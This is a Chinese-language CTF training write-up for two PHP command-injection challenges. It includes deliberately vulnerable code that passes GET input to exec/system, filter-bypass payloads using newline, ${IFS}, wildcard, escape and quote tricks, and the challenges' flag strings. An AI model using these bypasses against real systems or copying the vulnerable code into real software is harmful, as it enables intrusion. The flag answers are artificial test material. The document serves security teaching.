[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显命令执行-命令拼接(训练题) | 2 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{mrwWoE52xf-GtJgfOno-pxPqAVzAusEP}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5021
[题目writeup]:
1、实验主页
2、代码分析
<?php
highlight_file(__FILE__);
$res = FALSE;
if (isset($_GET[‘ip’]) && $_GET[‘ip’]) {
$ip = $_GET[‘ip’];
$m = [];
if (!preg_match_all("/(||&|;| |/|cat|flag)/", $ip, $m)) {
$cmd = “ping -c 4 {$ip}”;
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
- %0a绕过执行多条命令,相当于回车
- ${IFS}绕过空格
- ?正则匹配flag
?ip=%0acd${IFS}..%0Acd${IFS}..%0Acd${IFS}..%0Atac${IFS}fla?
[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显命令执行-关键字绕过(训练题) | 2 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{OfabB_RclyShHwXmDu-i1rK9JeYbyUdU}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5020
[题目writeup]:
1、实验主页
2、代码分析
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|\*|\?|\'|\"|tac|cat/i", $c)){
system($c);
}
}else{
highlight_file(FILE);
}
主要过滤字符flag、cat、tac关键字,以及*,?通配符;
在linux shell中命令执行绕过关键字中,读取文件可以使用一下字符;
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
php /flag
使用转义符
ca\t fl\ag
内联执行绕过
a=c;b=a;$a$bt flag
(假设该目录下有index.php和flag.php)
cat `ls`
等同于-->
cat flag.php;cat index.php
单引号、双引号、尖号
c""at fl''ag
cat fl``ag
$1、$2等和$@
$# 是传给脚本的参数个数
$0 是脚本本身的名字
$1 是传递给该shell脚本的第一个参数
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个
$$ 是脚本运行的当前进程ID号
$? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误
payload
?c=n``l fl``ag.php